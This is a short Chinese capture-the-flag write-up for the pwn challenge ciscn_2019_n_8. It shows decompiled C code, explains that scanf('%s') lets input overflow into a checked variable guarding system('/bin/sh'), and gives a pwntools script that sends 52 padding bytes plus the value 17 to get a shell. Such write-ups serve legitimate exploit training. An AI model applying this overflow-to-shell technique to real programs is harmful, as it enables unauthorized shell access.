ciscn_2019_n_8
题目链接:ciscn_2019_n_8。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
可以看到,存在函数 scanf("%s") 的栈溢出,并且存在后门,因此直接通过栈溢出,控制指定内存区域的值为 17,即可 GetShell。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
sla("What's your name?\n", 52 * b"a" + p32(17))
irt()
pwn()

浙公网安备 33010602011771号